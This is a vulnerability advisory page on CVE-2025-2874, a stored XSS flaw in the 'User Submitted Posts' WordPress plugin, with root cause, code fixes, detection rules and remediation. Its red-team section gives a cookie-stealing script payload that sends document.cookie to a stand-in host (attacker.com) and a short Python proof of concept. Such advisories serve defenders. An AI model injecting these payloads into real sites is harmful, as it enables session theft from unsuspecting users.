CVE-2025-2874
Executive Summary
CVE-2025-2874 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "User Submitted Posts – Enable Users to Submit Posts from the Front End" (versions up to and including 20240319). The flaw resides in insufficient input sanitization and output escaping within admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an affected page. The vulnerability is limited to multi-site installations or environments where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress setups.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. Administrators should verify plugin integrity via checksums provided by the WordPress plugin directory and monitor for updates.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires admin-level access, but in multi-site environments, a compromised admin account can lead to persistent XSS affecting all users.
Deep Dive & Mechanics
The vulnerability exists in the plugin's admin settings page where user-submitted post configurations are saved. The plugin fails to properly sanitize and escape output when rendering these settings, allowing an attacker with admin privileges to inject malicious JavaScript. The injected script is stored in the WordPress database and executed when any user (including lower-privileged users) accesses the affected admin page.
Root Cause: The plugin uses echo or _e() functions without wrapping the output in esc_html() or wp_kses_post() for settings fields. This allows HTML/JavaScript to be stored and rendered.
Attack Flow:
- Attacker gains admin access (e.g., via phishing or credential stuffing).
- Attacker navigates to the plugin settings page (e.g.,
/wp-admin/options-general.php?page=user-submitted-posts). - Attacker injects a payload like
<script>alert('XSS')</script>into a text field. - The payload is saved to the database.
- When any user (including non-admin) visits the settings page, the script executes.
Affected Component: user-submitted-posts.php and related admin template files.
Vulnerable vs. Patched Code
Vulnerable Code (example from admin settings):
// Vulnerable: no escaping
echo '<input type="text" name="usp_options[field_label]" value="' . $options['field_label'] . '" />';
Patched Code (hypothetical fix):
// Patched: proper escaping
echo '<input type="text" name="usp_options[field_label]" value="' . esc_attr( $options['field_label'] ) . '" />';
The fix requires wrapping all output with esc_attr(), esc_html(), or wp_kses_post() depending on context.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress multi-site installation or
unfiltered_htmldisabled. - Admin-level credentials.
Steps:
- Log in as admin.
- Navigate to Settings > User Submitted Posts.
- In any text field (e.g., "Success Message"), inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save settings.
- Any user visiting the settings page will trigger the XSS.
Proof-of-Concept (Python):
import requests
target = "http://target.com/wp-admin/options-general.php?page=user-submitted-posts"
cookies = {"wordpress_logged_in": "admin_session_cookie"}
payload = {"usp_options[success_message]": "<script>alert('XSS')</script>"}
requests.post(target, cookies=cookies, data=payload)
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to plugin settings via audit logs.
- Look for
wp_optionstable entries containing<script>tags. - Use WAF rules to block XSS payloads in admin POST requests.
Hardening:
- Disable
unfiltered_htmlfor all users except super admins. - Apply principle of least privilege: restrict admin access.
- Use a WordPress security plugin (e.g., Wordfence) to detect XSS.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/user-submitted-posts/user-submitted-posts.php(version <= 20240319) - Database:
wp_optionstable withoption_namelikeusp_optionscontaining<script>tags. - Network: Outbound requests to attacker-controlled domains from admin pages.
- Logs: WordPress debug log entries showing unexpected HTML in settings fields.
Detection Engineering
YARA Rule
rule CVE_2025_2874_WordPress_XSS {
meta:
description = "Detects stored XSS payloads in User Submitted Posts plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-2874"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$usp_option = /usp_options\[/
condition:
$usp_option and $xss_payload
}
Sigma Rule
title: Stored XSS in User Submitted Posts Plugin Settings
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to inject XSS payloads into WordPress plugin settings
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/options-general.php'
http.body: '*usp_options*'
http.body: '*<script>*'
condition: selection
falsepositives:
- Legitimate admin using JavaScript in settings (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2874 Stored XSS in User Submitted Posts"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"usp_options"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and sanitize all existing plugin settings for malicious content.
- Restrict admin access to trusted users only.
Long-term Fix:
- Apply output escaping to all plugin settings fields (use
esc_attr(),esc_html(),wp_kses_post()). - Implement nonce verification for settings save actions.
- Use WordPress coding standards and security best practices.
Workaround:
- For multi-site installations, enable
unfiltered_htmlonly for super admins. - Use a Web Application Firewall (WAF) to block XSS payloads.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.